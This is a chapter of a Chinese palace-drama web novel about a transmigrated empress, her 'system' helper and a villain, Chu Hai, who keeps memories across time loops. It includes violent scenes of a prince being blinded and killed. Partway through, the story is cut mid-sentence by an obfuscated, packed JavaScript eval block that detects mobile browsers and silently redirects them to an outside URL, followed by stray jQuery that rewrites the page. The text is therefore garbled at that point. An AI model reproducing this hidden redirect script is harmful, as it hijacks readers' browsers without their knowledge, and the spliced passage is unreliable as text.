整个围猎的林子不大,本就是造给皇帝的玩具。可林在水骑着马在林中四处搜寻褚亥的痕迹时,总怀疑自己会不会跟对方擦肩而过。
她幻想褚亥的表情,孩童般稚嫩的脸,如褪皮的蝉,泄露阴狠而残暴的不耐烦,大而亮的眼睛眯起,会有“杀气”——小说才会有的描述,也不知是什么——反派经典的下三白眼,像蛇盯住幼鼠,气得直发抖,想杀了自己。
她想不出来,感觉特别违和,反而那夜黯淡的暖黄色烛光下,褚亥呓语的脸变得格外清晰——他的左眼角下,似乎有一颗小小的泪痣。
林在水甩头,赶紧把这一幕甩走。
她听见一个男声在求救。
“吁!!!”马受惊了般,突然抬起前蹄乱蹬,林在水猛拉缰绳,她的骑马技能还不足,最终在被甩了下来前,自己找准时机跳了下来,才避免了受伤。
她抬头看天,太阳即将落下,天黑之前没找到褚亥,就回去吧。
这样想着,她寻着求救男声向前,走得越近越感到熟悉,直到看见了假山前的景象——
三皇子那双傲慢的眼睛瞎了,他脖子里绑着马的缰绳,双手被树枝扎得全是血。听见动静,他先是向后缩了一下。
林在水说:“三皇子?”
他立刻支棱起来,“皇后娘娘!这林中有刺客!肯定是褚亥那个狗东西!你快给我松绑!”
他闭上的眼睛下沾了几道干涸的血,脸上露出焦急而急切的神情,试图找到支点的手四处乱摸,缰绳绷紧,人像狗一样被拽了回去,“皇后娘娘?你还在吗?”
林在水知道——这一定是褚亥的作品。
她没有上前,只静静看着,即使觉得三皇子这副样子也很可怜。
说到底,人总归是视觉动物。
“林在水。”
她等的人到了。
三皇子像她那受了惊的马一样,发出尖叫与谩骂。
林在水回过头,是褚亥,走得十分稳当,腿上没有绑布,甚至裤腿都没有破损——他根本没有受伤。
褚亥丢掉了手中的弩,捡起一旁三皇子的弓,对准她,缓缓拉开。林在水发现他的手在抖,说到底伤没好透,但步子扎得极稳,箭头不偏不倚。
林在水像褚亥一样面对箭头,没有动,只说,“魏富被抓了。”
褚亥没有露出她理想的反应,“我知道。”
林在水问,“之前给褚承翊下毒的也是你吗?”
幻想中的反派脸没有出现,褚亥仍是可怜兮兮的,前提是忽视身后狂叫的三皇子,“林在水,是他逼我参与的。我只想安静呆着。”
林在水微笑,“你是说....魏富才是主谋?”
褚亥点头。
迅速放箭。
林在水手中的袖箭也瞬间射出,人向右草丛一滚,天旋地转。
她躺在地上缓了一会儿,起身,看见褚亥的箭正中三皇子眉心,他至死都闭着眼,血顺着假山缓缓流下,青翠草丛上溅了血滴,随风摇曳。
褚亥不见了,地上有她被砍下来的半截袖箭。这么说来,她竟然射中了。
...
林在水拖着半边发麻的身体,回到仁德殿偏殿入口时,看见了等在那儿的圆圆。
她就知道,出事了。
褚承翊坐在上座,太监递茶,婢女和林在水跪在下面,所有人都战战兢兢地等待皇帝发落。
林在水低着头,无聊地观察地上砖块。
“皇后。”皇帝开口了。
林在水俯拜,“皇上万安。”
“万安....大约难了。”此话一出,婢女们纷纷白了脸,听皇帝放下茶杯,与木桌发出一声撞击,“朕的话,对你们林家,大约是起不了作用了。也罢,你说说,到底想朕怎么做?你来告诉朕!”
婢女们磕头求饶,“皇上息怒。皇上息怒。”
林在水曾认为,她能为了钱付出一切,包括自尊。可她不行,她当不了老板身边的小人,她就是贪,是钱也想要,一口气也想争。
凭什么不行呢?
她到这个世界,又不是来给皇帝当牛做马的,都要做女主角了,又凭什么看着皇帝不断换女人杀女人,还忍气吞声呢?
林在水抬起头,跪着,但挺直了腰杆。
“皇上,臣妾才是大褚的皇后.....我才是你的妻子。”皇帝身边倒茶的手抖了一抖,听林在水理直气壮道,“你说我善妒也好,说我无理取闹也罢。臣妾与皇上青梅竹马、相伴七年,何以......不可参与围猎,不可是臣妾为你磨墨?”
“若爱是罪,臣妾只求——”林在水朗声叩拜,“皇上判我死罪!”
林在水耳朵红透了。
离开高中后,她已经很久没说过这种“□□空间说说”了,青春伤痛的味道激起浑身鸡皮疙瘩。
但没办法,皇帝都把林家拎出来了,如果不扯回爱情领域,下一秒林家就得被扣上“以下犯上”的杀头之罪。
她只求皇帝能被自己酸到话都说不出来,然后甩袖而走。
“咳咳。”圆圆咳嗽。
林在水瞄她——好感度在上升。
?
??
???
“好了。”皇帝一声平静的回答,让林在水尴尬扣手,“朕也不是这个意思。”
那你是什么意思?
林在水一时间大脑空白,她实在想不通,眼前这个“帝心如渊”的男主,帅气的脑瓜里到底装了多少水。
“既然皇后身体好了,明日起,就出门多走走。”皇帝喝了口茶,左手碧绿和田玉手持垂下,鸽血红点缀来回晃悠,起身,拍了拍她的头顶,像是安抚,“和盛。”
太监道,“奴婢在。”
“之前外邦送来的人参,给皇后补补身子。”
“明日一早便送来。”
“嗯。”皇帝摸了把林在水的脸,“去看看....到底是谁想杀了朕。走吧。”就这样离开了。
待林在水一脸懵地坐到床上,圆圆汇报进展。
“当前褚承翊攻略进度为19%。”
林在水看着圆圆,“为什么呀?”
“抱歉,我无法提供原著解析。”
林在水又沉默许久,实在想不通其中就里,倒在床上,久违的疲惫席卷而来,没多久就睡着了。
她做了一段碎片拼凑的梦,模模糊糊间,无数线头在她面前飞舞,有一个答案即将呼之欲出。
“宿主!醒醒!快醒醒!”
林在水睁开眼,只觉得头痛欲裂,捂住头,余光瞥了眼窗外,天都没亮,“...
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17275364|198214||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
.怎么了?让我再睡会儿,在睡会儿。”
“皇帝在狱中被魏富刺中要害,昏迷了!”
林在水瞬间清醒,看向圆圆,“怎么回事?”
“刑狱被团团包围,我也没问到消息。你赶紧过去,至少皇帝死前见他一面,问出原因。”
林在水不耐烦地呼出一口长气,立刻从床上爬起,“走!”
她见过褚承翊许多种死亡时的脸,这次只是虚弱,并不难看。
奴婢们朝两旁分开,林在水走过去,看见其他皇子、妃子们哭得满脸是泪。她蹲下来,握住皇帝冰冷的手,凑到他耳边轻声问,“发生了什么事?告诉我,承翊,我会为你报仇。”
褚承翊的脸尽失血色,似乎老了几十岁,连抬眼皮都费力。
身后太监开口,“皇后娘娘,是狱中一位小卒母亲重病,七天前有人买通他,松开一个罪人的镣铐。所以魏富才能在受审讯时,伤了皇帝。魏富已经被处死,究竟是谁,已有人在查,请娘娘放心。”
三皇子的跟班冷哼一声,“可不止他一人。皇兄被人在林中残杀....”他回过头扫过每个人,“今天去了围猎的人,每个人都别想走!”
瞎了眼睛的三皇子像狗一样被拴在假山上。
林在水想起这一幕,突然有点反胃,倒在床头干呕了两声。
圆圆扶住她,“没事吧?”
林在水推开她,摆了摆手。
只听另一皇子说,“我记得当时最晚离开围猎场的,除了皇后娘娘,可只有那个人了。”
跟班看向他,“谁?”
“褚亥。”
接下来一切都发生得格外混乱。有妃子哭得昏倒,两个皇子打了起来,跟班吩咐侍卫把褚亥抓来。她跪在皇帝床头,在听见褚亥名字时,却发现皇帝微不可查地抿了下嘴,阖上了眼——这是一种典型的愧疚表情。
林在水皱眉,对皇帝而言,反派究竟是一种什么样的存在呢?
褚亥就在那座破旧的殿宇内,只静静坐在床上等待侍卫来抓他。皇子吩咐侍卫长杀了他,褚亥也不反抗,跪在皇帝床头,左肩的血浸透了衣衫,竟连她射中的袖箭箭头都没取出,变回了漂浮在湖中央,与死人无异的长发鬼。
真奇怪,皇子们对褚亥的杀意竟比知道谁继承皇位还要强烈。
然而就在侍卫长的剑落下前,褚亥突然抬手握住了剑,血流如注,抬眼瞧侍卫那一眼,杀意凛然。
为什么?刚才不是已经准备等死了吗,临了,发现还是想活?
皇帝抬手制止了这一场裁决。
到底为什么,她无从知晓,因为皇帝在下一秒喷出一口血,便昏死过去了。
咔哒。
摇曳的暖黄色烛光,倒映在床头硕大的黑影上,烛芯不时爆裂。
林在水回过头,看向蜷缩在墙角的褚亥,畏畏缩缩,一副受害者的模样。
第四回长睡不起的褚亥提前苏醒;三皇子的剑上次没有伤到他;特意戳瞎了三皇子的眼睛,让他经历自己之前失明的痛苦,再杀了他;七天前就被买通的狱卒......这一切的一切,都指向一个答案。
——褚亥拥有世界回溯间的记忆,世界运行中泄漏的内存,bug的关键节点。
反派啊反派,你还真是个好演员呢。